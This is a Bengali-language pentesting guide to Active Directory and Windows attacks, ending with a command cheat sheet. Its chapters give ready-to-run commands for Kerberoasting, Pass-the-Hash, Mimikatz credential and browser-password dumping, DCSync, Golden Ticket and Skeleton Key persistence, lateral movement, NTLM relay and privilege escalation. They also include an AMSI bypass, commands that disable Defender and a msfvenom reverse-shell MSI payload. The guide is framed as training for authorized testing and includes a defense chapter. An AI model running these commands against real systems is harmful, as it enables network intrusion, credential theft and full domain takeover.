// CYBER SECURITY SERIES — CORPORATE HACKING //

Active Directory
& Windows Hacking
সম্পূর্ণ বাংলা গাইড

Active Directory-র মূল ধারণা থেকে শুরু করে Enumeration, Kerberoasting, Pass-the-Hash, BloodHound, Mimikatz ও Domain Compromise পর্যন্ত — Ethical Hacker-দের জন্য সম্পূর্ণ গাইড।

```
PS C:\> Get-ADDomain
DNSRoot : corp.local
DomainMode : Windows2016Domain
PDCEmulator : DC01.corp.local

PS C:\> whoami /groups | findstr "Domain Admin"
[+] CORP\Domain Admins → Access Granted!
```

🏢 AD Structure | 🔍 Enumeration | 🎫 Kerberoasting | 🔑 Pass-the-Hash | 🐶 BloodHound
🔓 Mimikatz | ↗️ Lateral Movement | 👑 Domain Compromise | 🛡️ Defense | 📋 Cheat Sheet

// বিষয়সূচি //

ACTIVE DIRECTORY & WINDOWS HACKING — COMPLETE ROADMAP

01 **Active Directory পরিচিতি** — THEORY
AD কী, Domain, Forest, Trust, DC — মূল ধারণা

02 **AD Components বিস্তারিত** — CONCEPTS
Users, Groups, GPO, LDAP, Kerberos, DNS — কীভাবে কাজ করে

03 **AD Enumeration** — RECON
BloodHound, PowerView, ldapdomaindump, enum4linux — তথ্য সংগ্রহ

04 **Kerberos Attacks — Kerberoasting ও ASREPRoasting** — KERBEROS
Service ticket চুরি করে offline crack

05 **Pass-the-Hash ও Pass-the-Ticket** — LATERAL
Hash ও ticket দিয়ে authenticate — password ছাড়া

06 **Mimikatz — Credential Dumping** — MIMIKATZ
sekurlsa, lsadump, golden ticket, silver ticket

07 **Lateral Movement** — MOVEMENT
PsExec, WMI, SMB, RDP, WinRM — network-এ ছড়িয়ে পড়া

08 **Windows Privilege Escalation** — PRIVESC
Token impersonation, Unquoted paths, DLL Hijacking, AlwaysInstallElevated

09 **Domain Compromise — DCSync ও Golden Ticket** — DOMAIN
Domain Admin থেকে পুরো AD নেওয়া

10 **Persistence — AD-তে টিকে থাকা** — PERSIST
Golden Ticket, Silver Ticket, Skeleton Key, AdminSDHolder

11 **AD Security — রক্ষার উপায়** — DEFENSE
Tiering model, LAPS, Protected Users, Monitoring

12 **Cheat Sheet — সম্পূর্ণ রেফারেন্স**

BloodHound, Mimikatz, Impacket, PowerView — সব কমান্ড

CHEAT

CHAPTER 01

🏢 Active Directory পরিচিতি

AD কী, কেন এটা হ্যাকারদের সবচেয়ে বড় target, এবং মূল structure

01

Active Directory কী?

Active Directory (AD) হলো Microsoft-এর directory service যা corporate network-এ users, computers, printers এবং resources manage করে। বিশ্বের ৯০%+ enterprise organization AD ব্যবহার করে। Pentester-দের কাছে AD হলো সবচেয়ে মূল্যবান target — কারণ AD compromise করলে পুরো organization-এর access পাওয়া যায়।

AD-এর মূল Structure

```
Forest: corp.com (সর্বোচ্চ স্তর) ├── Domain: corp.com │ ├── Domain Controller (DC01) ← সবচেয়ে গুরুত্বপূর্ণ server │ ├── Organizational Units (OUs) │ │ ├── IT Department │ │ │ ├── Users: alice, bob, charlie │ │ │ └── Computers: PC01, PC02 │ │ └── HR Department │ │ └── Users: dave, eve │ ├── Groups: Domain Admins, IT-Staff, HR-Staff │ └── Group Policy Objects (GPOs) └── Child Domain: dev.corp.com └── Domain Controller (DC02)
```

গুরুত্বপূর্ণ AD Objects

Object	কাজ	Pentesting গুরুত্ব
Domain Controller (DC)	AD database ধরে রাখে	CRITICAL TARGET
Domain Admin	পুরো domain-এ সর্বোচ্চ access	MAIN GOAL
Service Accounts	Applications চালানোর জন্য	Kerberoasting target
GPO	Policy enforce করে	Persistence vector
KRBTGT	Kerberos ticket signing	Golden Ticket key

Object	কাজ	Pentesting গুরুত্ব
Trust	Domain-এর মধ্যে সম্পর্ক	Cross-domain attack

Attack Path — সাধারণ AD Compromise

🌐 Network Access → 🔍 Enumeration → 💥 Initial Access → ⬆️ PrivEsc → ↗️ Lateral Move → 👑 Domain Admin

⚖️ Legal ও Ethical সতর্কতা

এই chapter-এর সব কিছু শুধুমাত্র **authorized penetration testing** এবং শিক্ষামূলক উদ্দেশ্যে। OSCP, CEH-এর মতো certification exam-এ এবং corporate pentest-এ এই knowledge ব্যবহার হয়। নিজের lab environment-এ (VulnAD, GOAD, TryHackMe) practice করো।

CHAPTER 02

⚙ AD Components বিস্তারিত

Kerberos, LDAP, DNS, NTLM — AD-এর ভেতরে কীভাবে authentication হয়

02

Kerberos Authentication — কীভাবে কাজ করে?

```
পদক্ষেপ ১: Client → KDC (DC): "আমি Alice, আমাকে TGT দাও" KDC Alice-এর password hash দিয়ে encrypt করা TGT পাঠায় পদক্ষেপ ২: Client → KDC: "TGT আছে, এখন File Server-এর ticket চাই" KDC Service Ticket (TGS) দেয় পদক্ষেপ ৩: Client → File Server: "TGS আছে, access দাও" File Server verify করে → Access দেয় Attacker এখানে কোথায় attack করে? • TGT চুরি → Pass-the-Ticket • TGS চুরি → Kerberoasting (offline crack) • KRBTGT hash → Golden Ticket • Service hash → Silver Ticket
```

NTLM vs Kerberos

	NTLM	Kerberos
Authentication	Challenge-Response	Ticket-based
নিরাপত্তা	WEAK	BETTER
Attack	Pass-the-Hash, Relay	Kerberoasting, Golden Ticket
কখন ব্যবহার হয়	IP address দিয়ে connect	Hostname/FQDN দিয়ে connect
Capture	Responder দিয়ে	TGS request intercept

গুরুত্বপূর্ণ AD Ports

🔌 AD Services ও Ports

- 53 — DNS

- 88 — Kerberos
- 135 — RPC
- 139/445 — SMB
- 389 — LDAP
- 636 — LDAPS (SSL)
- 3268 — Global Catalog
- 5985 — WinRM (HTTP)
- 3389 — RDP

🔍 DC খোঁজার Nmap Command

```
# DC খোঁজা nmap -p 88,389,445 192.168.1.0/24 nmap -p 88 --open 192.168.1.0/24 # AD scan
nmap -sV -p 53,88,135,139,389,445,636,3268,3389 DC_IP # SMB signing check nmap --script
smb2-security-mode -p445 IP
```

CHAPTER 03

🔍 AD Enumeration

Domain-এ ঢোকার পর users, groups, computers, SPNs — সব তথ্য বের করা

BloodHound — AD Attack Path Mapper

BloodHound হলো সবচেয়ে শক্তিশালী AD enumeration tool। এটা AD-এর সব relationship graph করে দেখায় এবং Domain Admin পর্যন্ত যাওয়ার সবচেয়ে সহজ পথ বের করে।

```
# SharpHound — Data collector (Windows-এ চালাও) PS> .\SharpHound.exe -c All PS> .\SharpHound.exe -c DCOnly # শুধু DC data PS> .\SharpHound.exe -c All --zip # ZIP করে # Python BloodHound (Linux থেকেও চালানো যায়) $ bloodhound-python -u alice -p Password123 -d corp.local -dc DC01.corp.local -c All $ bloodhound-python -u alice -p Pass123 -d corp.local -ns DC_IP --zip # BloodHound গুরুত্বপূর্ণ Queries: # "Find all Domain Admins" # "Find Shortest Path to Domain Admins" # "Find Principals with DCSync Rights" # "Find Kerberoastable Accounts" # "Find AS-REP Roastable Users"
```

PowerView — PowerShell Enumeration

```
# PowerView load করা PS> Import-Module .\PowerView.ps1 PS> . .\PowerView.ps1 # Domain Information PS> Get-Domain PS> Get-DomainController PS> Get-DomainTrust # Users PS> Get-DomainUser | select samaccountname, description PS> Get-DomainUser -SPN # Service accounts (Kerberoasting) PS> Get-DomainUser -PreauthNotRequired # ASREPRoast candidates # Groups PS> Get-DomainGroup "Domain Admins" | select member PS> Get-DomainGroupMember "Domain Admins" # Computers PS> Get-DomainComputer | select dnshostname, operatingsystem PS> Get-DomainComputer -Unconstrained # Unconstrained delegation # Share এবং local admin খোঁজা PS> Find-DomainShare PS> Find-LocalAdminAccess # কোথায় local admin আছে PS> Find-DomainUserLocation # User কোথায় logged in # ACL/Permission Analysis PS> Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
```

Linux থেকে AD Enumeration

```
# enum4linux-ng $ enum4linux-ng -A DC_IP $ enum4linux -a DC_IP # ldapdomaindump $
ldapdomaindump -u 'corp.local\alice' -p 'Password123' DC_IP $ ldapdomaindump
ldap://DC_IP -u 'corp\alice' -p 'Pass' --no-json # CrackMapExec — সবচেয়ে versatile $
crackmapexec smb DC_IP -u alice -p Pass123 --users $ crackmapexec smb DC_IP -u alice -p
Pass123 --groups $ crackmapexec smb DC_IP -u alice -p Pass123 --shares $ crackmapexec
smb DC_IP -u alice -p Pass123 --pass-pol $ crackmapexec smb 192.168.1.0/24 -u alice -p
Pass123 # Subnet scan # Impacket tools $ impacket-GetADUsers -all
corp.local/alice:Pass123 -dc-ip DC_IP
```

// Enumeration চেকলিস্ট //

- ✅ Domain Controller IP ও hostname বের করো
- ✅ BloodHound দিয়ে সব data collect করো
- ✅ Kerberoastable accounts খোঁজো (SPN set)
- ✅ AS-REP Roastable users খোঁজো (preauth disabled)
- ✅ Local admin কোথায় আছে বের করো
- ✅ Unconstrained delegation খোঁজো

CHAPTER 04

🎭 Kerberos Attacks — Kerberoasting ও ASREPRoasting

Service ticket চুরি করে offline crack — AD-এর সবচেয়ে common attack

Kerberoasting — কীভাবে কাজ করে?

যে accounts-এর SPN (Service Principal Name) set আছে, সেগুলোর জন্য যেকোনো domain user Service Ticket (TGS) request করতে পারে। এই ticket service account-এর password hash দিয়ে encrypt করা — তাই offline crack করা যায়!

```
# Step 1: SPN account খোঁজা PS> Get-DomainUser -SPN | select samaccountname, serviceprincipalname # Step 2: TGS ticket request করা (Windows) PS> .\Rubeus.exe kerberoast /output:hashes.txt PS> .\Rubeus.exe kerberoast /user:sqlservice /nowrap # Step 3: Linux থেকে (Impacket) $ impacket-GetUserSPNs corp.local/alice:Pass123 -dc-ip DC_IP -request $ impacket-GetUserSPNs corp.local/alice:Pass123 -dc-ip DC_IP -request -outputfile hashes.txt # Step 4: Hashcat দিয়ে crack করো $ hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt $ hashcat -m 13100 hashes.txt rockyou.txt -r best64.rule --show
```

AS-REP Roasting

যেসব user account-এ "Do not require Kerberos preauthentication" চালু আছে, তাদের AS-REP response কোনো authentication ছাড়াই পাওয়া যায় এবং offline crack করা যায়।

```
# Vulnerable users খোঁজা PS> Get-DomainUser -PreauthNotRequired | select samaccountname # AS-REP hash সংগ্রহ করা (Windows) PS> .\Rubeus.exe asreproast /format:hashcat /output:asrep.txt # Linux থেকে (Impacket) $ impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip DC_IP -format hashcat $ impacket-GetNPUsers corp.local/alice:Pass123 -dc-ip DC_IP -request # Crack করো (Hashcat mode 18200) $ hashcat -m 18200 asrep.txt rockyou.txt
```

// Kerberoasting vs ASREPRoasting //

- 🎯 **Kerberoasting** — যেকোনো domain user করতে পারে; SPN থাকলেই হয়
- 🎯 **ASREPRoasting** — Authentication ছাড়াই করা যায়; preauth disabled থাকলে
- ⚡ দুটোই offline crack — network noise কম
- 🔑 Weak password থাকলে minutes-এ crack হয়

CHAPTER 05

🔑 Pass-the-Hash ও Pass-the-Ticket

Password না জেনেও hash বা ticket দিয়ে authenticate করার কৌশল

Pass-the-Hash (PtH)

NTLM authentication-এ password-এর জায়গায় hash ব্যবহার করা যায়। Mimikatz বা Impacket দিয়ে hash dump করার পর password না জেনেও সেই user হিসেবে network-এ access পাওয়া যায়।

```
# Impacket — PtH দিয়ে remote command execution $ impacket-psexec corp.local/administrator@TARGET_IP -hashes :8846f7eaee8fb117ad06bdd830b7586c # WMI দিয়ে $ impacket-wmiexec corp.local/administrator@TARGET_IP -hashes :NTLM_HASH # SMBExec $ impacket-smbexec corp.local/admin@TARGET_IP -hashes :NTLM_HASH # CrackMapExec দিয়ে subnet-এ PtH $ crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH $ crackmapexec smb 192.168.1.0/24 -u administrator -H HASH --sam # Dump SAM # Mimikatz দিয়ে PtH (Windows) mimikatz# sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH_HERE /run:cmd.exe
```

Pass-the-Ticket (PtT)

```
# Rubeus দিয়ে ticket export PS> .\Rubeus.exe dump /service:krbtgt /nowrap PS> .\Rubeus.exe dump /luid:0x3e4 # Ticket import করা PS> .\Rubeus.exe ptt /ticket:BASE64_TICKET # Mimikatz দিয়ে mimikatz# sekurlsa::tickets /export mimikatz# kerberos::ptt ticket.kirbi # Linux (Impacket) $ export KRB5CCNAME=ticket.ccache $ impacket-psexec -k -no-pass corp.local/alice@DC01.corp.local
```

NTLM Relay Attack

```
# Responder — NTLM hash capture $ responder -I eth0 -rdwv # NetNTLMv2 hash পাবে → hashcat -m 5600 দিয়ে crack # ntlmrelayx — captured hash relay করে command execute $ impacket-ntlmrelayx -tf targets.txt -smb2support $ impacket-ntlmrelayx -tf targets.txt
```

```
-smb2support -c "whoami" $ impacket-ntlmrelayx -tf targets.txt -smb2support --dump-adcs
# Certificate theft
```

CHAPTER 06

🔓 Mimikatz — Credential Dumping

Windows memory থেকে password, hash, ticket বের করার সবচেয়ে বিখ্যাত tool

Mimikatz Basic Usage

```
# Mimikatz চালানো (Admin/SYSTEM দরকার) PS> .\mimikatz.exe # Privilege escalate
mimikatz# privilege::debug [20] OK # Logon passwords — সবচেয়ে গুরুত্বপূর্ণ command mimikatz#
sekurlsa::logonpasswords [Output: username, domain, NTLM hash, plaintext password (যদি
থাকে)] # Kerberos tickets dump mimikatz# sekurlsa::tickets /export # SAM database dump
mimikatz# token::elevate mimikatz# lsadump::sam # LSA Secrets mimikatz#
lsadump::secrets # DPAPI — saved browser passwords mimikatz# dpapi::chrome
/in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
```

DCSync — Domain Controller Imitate করা

DCSync attack-এ আমরা একটি নকল DC হিসেবে কাজ করি এবং real DC থেকে user password hashes replicate করি — physically DC-তে না গিয়েও!

```
# Mimikatz DCSync (Domain Admin বা DCSync rights দরকার) mimikatz# lsadump::dcsync
/domain:corp.local /user:administrator mimikatz# lsadump::dcsync /domain:corp.local
/user:krbtgt # Golden Ticket-এর জন্য! mimikatz# lsadump::dcsync /domain:corp.local /all
/csv # Impacket secretsdump (Linux থেকে) $ impacket-secretsdump
corp.local/administrator:Pass@DC_IP $ impacket-secretsdump corp.local/admin@DC_IP -
hashes :NTLM_HASH $ impacket-secretsdump -just-dc-ntlm corp.local/admin:Pass@DC_IP
```

Windows Defender Bypass

```
# AMSI Bypass (PowerShell) PS>
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed'
# Defender disable (Admin দরকার) PS> Set-MpPreference -DisableRealtimeMonitoring $true
```

```
PS> Add-MpPreference -ExclusionPath "C:\Tools" # Obfuscated Mimikatz alternatives #
Invoke-Mimikatz (PowerShell version) # SafetyKatz (obfuscated) # BetterSafetyKatz #
SharpKatz
```

CHAPTER 07

↗ Lateral Movement

একটা machine থেকে অন্য machine-এ যাওয়ার কৌশল — network-এ ছড়িয়ে পড়া

07

PsExec — Remote Command Execution

```
# Impacket PsExec (Linux থেকে) $ impacket-psexec corp.local/admin:Password@TARGET_IP $ impacket-psexec corp.local/admin@TARGET_IP -hashes :NTLM_HASH # Sysinternals PsExec (Windows থেকে) PS> .\PsExec.exe \\TARGET_IP -u CORP\admin -p Password cmd.exe PS> .\PsExec.exe \\TARGET_IP cmd.exe # current credentials use করে
```

WMI ও WinRM

```
# WMI (Port 135) — stealthy, কম log $ impacket-wmiexec corp.local/admin:Pass@TARGET_IP PS> Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\output.txt" # WinRM (Port 5985/5986) — PowerShell remoting PS> Enter-PSSession -ComputerName TARGET -Credential CORP\admin PS> Invoke-Command -ComputerName TARGET -ScriptBlock { whoami } $ evil-winrm -i TARGET_IP -u admin -p Password123 $ evil-winrm -i TARGET_IP -u admin -H NTLM_HASH
```

SMB ও RDP

```
# SMB — File share access $ smbclient //TARGET_IP/C$ -U 'CORP\admin%Password' $ crackmapexec smb TARGET_IP -u admin -p Pass --shares $ crackmapexec smb TARGET_IP -u admin -p Pass -x "whoami" # RDP (Port 3389) $ xfreerdp /u:admin /p:Password /v:TARGET_IP $ xfreerdp /u:admin /pth:NTLM_HASH /v:TARGET_IP # PtH via RDP $ rdesktop TARGET_IP -u admin -p Password # Enable RDP remotely PS> Enable-NetFirewallRule -DisplayGroup "Remote Desktop" PS> reg add
```

```
"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t
REG_DWORD /d 0 /f
```

CHAPTER 08

⬆️ Windows Privilege Escalation

Normal user থেকে SYSTEM/Administrator — Windows-এ সব PrivEsc technique

WinPEAS — Automated Enumeration

```
# WinPEAS চালানো PS> .\winpeas.exe PS> .\winpeas.exe quiet # Less verbose PS>
.\winpeas.exe systeminfo # System info only PS> .\winpeas.exe > output.txt # Manual
checks PS> whoami /all # User info + privileges PS> whoami /priv # Privileges PS> net
user # Local users PS> net localgroup administrators # Local admins PS> systeminfo # OS
+ patch level PS> wmic qfe get Caption,Description,HotFixID,InstalledOn # Patches PS>
Get-HotFix | sort InstalledOn -Descending
```

Token Impersonation

```
# SeImpersonatePrivilege → SYSTEM সম্ভব PS> whoami /priv | findstr Impersonate #
PrintSpoofer PS> .\PrintSpoofer.exe -i -c cmd # JuicyPotato / RoguePotato / GodPotato
PS> .\JuicyPotato.exe -l 1337 -c "{CLSID}" -p C:\Windows\system32\cmd.exe -a "/c net
user hacker Pass123! /add" PS> .\GodPotato.exe -cmd "cmd /c whoami" # Meterpreter Token
Impersonation meterpreter> use incognito meterpreter> list_tokens -u meterpreter>
impersonate_token "NT AUTHORITY\\SYSTEM"
```

Common PrivEsc Techniques

🔴 Service Misconfiguration

```
# Unquoted service path wmic service get name,pathname | findstr /i /v "C:\Windows\\" |
findstr /i /v """ # Weak service permission .\accesschk.exe -uwcqv "Everyone" * sc config
VulnService binpath= "cmd /c net user h P /add"
```

AlwaysInstallElevated

```
# Check reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated #
Exploit (msfvenom .msi) msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi
-o evil.msi msiexec /quiet /qn /i evil.msi
```

CHAPTER 09

👑 Domain Compromise — Golden Ticket ও DCSync

Domain Admin পাওয়ার পর — পুরো AD নেওয়ার চূড়ান্ত কৌশল

Golden Ticket — অসীম access

KRBTGT account-এর NTLM hash দিয়ে নিজে TGT তৈরি করা যায় — যেকোনো user হিসেবে, যেকোনো service-এ access, ১০ বছর পর্যন্ত মেয়াদ। এটাই Golden Ticket।

```
# Step 1: KRBTGT hash সংগ্রহ করো (DCSync) mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt # Note করো: NTLM hash ও Domain SID # Step 2: Golden Ticket তৈরি করো mimikatz# kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXX /krbtgt:KRBTGT_HASH /ptt # Step 3: যেকোনো machine-এ access mimikatz# misc::cmd C:\> dir \\DC01\C$ # DC-তে access! # Linux (Impacket) $ impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXXX -domain corp.local administrator $ export KRB5CCNAME=administrator.ccache $ impacket-psexec -k -no-pass corp.local/administrator@DC01.corp.local
```

Silver Ticket

```
# Service account hash দিয়ে specific service-এর জন্য ticket mimikatz# kerberos::golden /user:administrator /domain:corp.local /sid:DOMAIN_SID /target:server.corp.local /service:cifs /rc4:SERVICE_HASH /ptt # CIFS = file sharing, HTTP = web, MSSQL = SQL Server, HOST = remote management
```

Domain Compromise Checklist

✅ Domain Admin পাওয়ার পর করণীয়

1. KRBTGT hash dump (Golden Ticket)

2. সব user hash dump (secretsdump)
3. Evidence collect (screenshot, log)
4. Impact demonstrate করো
5. Clean up করো
6. Report লেখো

📋 এই কমান্ডগুলো মনে রাখো

- `secretsdump → all hashes`
- `kerberos::golden → persistence`
- `lsadump::dcsync → KRBTGT`
- `sekurlsa::logonpasswords`
- `bloodhound-python → map`

CHAPTER 10

🕳️ Persistence — AD-তে টিকে থাকা

Password reset হলেও access না হারানোর কৌশল

Golden Ticket Persistence

Golden Ticket বাতিল করতে KRBTGT password দুইবার reset করতে হয়। তাই এটাই সবচেয়ে দীর্ঘস্থায়ী persistence।

Skeleton Key

```
# DC-তে Skeleton Key inject করো # এরপর যেকোনো user-এর password হিসেবে "mimikatz" কাজ করবে! mimikatz# misc::skeleton # এখন: net use \\DC01\C$ /user:admin mimikatz → কাজ করবে! # Reboot হলে চলে যায়
```

AD Persistence Techniques

কৌশল	কীভাবে	স্থায়িত্ব	Detect করা
Golden Ticket	KRBTGT hash	10 years	Difficult
Silver Ticket	Service hash	Service lifetime	Very hard
Skeleton Key	LSASS patch	Until reboot	Easy
AdminSDHolder	ACL abuse	Permanent	Medium
DCSync Rights	ACL grant	Permanent	Medium
New DA account	Add user	Until found	Easy

CHAPTER 11

🛡 AD Security — রক্ষার উপায়

Attack জানলে defense করাও জানতে হবে — Blue Team-এর জন্য

Tiering Model — সবচেয়ে গুরুত্বপূর্ণ

```
Tier 0: Domain Controllers, PKI, ADFS → শুধু Tier 0 admin login করতে পারবে → Internet access নেই
Tier 1: Member Servers (File, SQL, Exchange) → Tier 1 admin — Tier 0-তে login করতে পারবে না
Tier 2: Workstations, Laptops → Normal user — শুধু নিজের workstation
Rule: Higher tier admin lower tier-এ login করতে পারবে না এই rule ভাঙলেই Lateral Movement সহজ হয়!
```

আক্রমণ অনুযায়ী Defense

আক্রমণ	প্রতিরোধ
Kerberoasting	Service account-এ long, complex password; Managed Service Accounts (MSA)
ASREPRoasting	সব user-এ Kerberos Preauth চালু রাখো
Pass-the-Hash	Protected Users group, Credential Guard, LAPS
Golden Ticket	KRBTGT password প্রতি ৬ মাসে reset করো (দুইবার)
DCSync	DCSync rights audit করো; শুধু DC-দের থাকা উচিত
NTLM Relay	SMB Signing চালু করো; NTLM restrict করো
BloodHound paths	Unnecessary ACLs সরাও; Admin তৈরিতে যত্নশীল হও

LAPS — Local Admin Password Solution

```
# LAPS install করো — প্রতিটা machine-এ আলাদা random local admin password PS> Install-Module -Name LAPS PS> Update-AdmPwdADSchema PS> Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=corp,DC=local" # LAPS password দেখা (privileged user) PS> Get-AdmPwdPassword -ComputerName PC01 # Monitoring — Event IDs মনে রাখো # 4768 — Kerberos TGT request (Kerberoasting detect) # 4769 — Kerberos TGS request # 4672 — Special privileges assigned # 4624 — Successful logon # 4625 — Failed logon # 4648 — Explicit credential logon (PtH indicator) # 4776 — NTLM authentication
```

CHAPTER 12

📋 Cheat Sheet — সম্পূর্ণ রেফারেন্স

BloodHound, Mimikatz, Impacket, CrackMapExec, PowerView — সব কমান্ড

🩸 BloodHound / SharpHound

Data Collection	
`.\SharpHound.exe -c All`	সব data collect
`.\SharpHound.exe -c DCOnly`	DC data only
`bloodhound-python -u u -p p -d d -c All`	Linux collector
`bloodhound-python ... --zip`	ZIP output

Key Queries	
`Find Shortest Path to DA`	DA পথ
`Find Kerberoastable Accounts`	SPNs
`Find AS-REP Roastable Users`	No preauth
`Find DCSync Rights`	DCSync abuse

🔐 Mimikatz Cheat Sheet

Credential Dump	
`privilege::debug`	Debug privilege
`sekurlsa::logonpasswords`	All creds
`sekurlsa::tickets /export`	Kerberos tickets
`lsadump::sam`	SAM database
`lsadump::secrets`	LSA Secrets

`lsadump::dcsync /user:krbtgt`	DCSync

Golden/Silver Ticket

`kerberos::golden /user:admin /domain:d /sid:S /krbtgt:H /ptt`	Golden Ticket
`kerberos::silver /target:srv /service:cifs /rc4:H /ptt`	Silver Ticket
`sekurlsa::pth /user:u /domain:d /ntlm:H /run:cmd`	Pass-the-Hash
`kerberos::ptt ticket.kirbi`	Pass-the-Ticket
`misc::skeleton`	Skeleton Key

📦 Impacket Cheat Sheet

Remote Execution

`impacket-psexec d/u:p@IP`	SMB exec
`impacket-wmiexec d/u:p@IP`	WMI exec
`impacket-smbexec d/u:p@IP`	SMB exec v2
`evil-winrm -i IP -u u -p p`	WinRM shell
`impacket-psexec d/u@IP -hashes :HASH`	PtH

Credential & Ticket

`impacket-secretsdump d/u:p@DC`	Hash dump
`impacket-GetUserSPNs d/u:p -dc-ip IP -request`	Kerberoast
`impacket-GetNPUsers d/ -usersfile u.txt -dc-ip IP`	ASREPRoast
`impacket-ticketer -nthash KRBTGT_H -domain-sid SID -domain d admin`	Golden
`impacket-ntlmrelayx -tf targets.txt -smb2support`	NTLM Relay

⚡ CrackMapExec Cheat Sheet

SMB Commands

`cme smb IP -u u -p p --users`	User list
`cme smb IP -u u -p p --groups`	Group list

`cme smb IP -u u -p p --shares`	Share list
`cme smb IP -u u -p p --sam`	SAM dump
`cme smb CIDR -u u -H HASH`	PtH subnet
`cme smb IP -u u -p p -x "cmd"`	Execute cmd

Other Services

`cme winrm IP -u u -p p`	WinRM check
`cme ssh IP -u u -p p`	SSH check
`cme rdp IP -u u -p p`	RDP check
`cme smb IP -u u -p p --lsa`	LSA Secrets
`cme smb IP -u u -p p --pass-pol`	Password policy

Practice Lab Resources

Platform	ধরন	বিবরণ	Link
TryHackMe	Online	AD rooms: Attacktive Directory, VulnNet	tryhackme.com
HackTheBox	Online	Forest, Active, Sauna, Monteverde	hackthebox.com
GOAD	Local	Game of AD — local AD lab setup	GitHub/Orange-Cyberdefense
VulnAD	Local	Vulnerable AD setup script	GitHub/WazeHell
PentestLab	Online	AD attack walkthroughs	pentesterlab.com

```
PS C:\> Get-ADGroupMember "Domain Admins"
```

[+] তুমি এখন AD বোঝো। Ethical hacking-এ ব্যবহার করো।

সম্পূর্ণ শিক্ষামূলক উদ্দেশ্যে। Authorized pentest environment ছাড়া কোথাও ব্যবহার করো না।

v1.0 — Active Directory & Windows Hacking | Bilingual | 12 Chapters + Cheat Sheet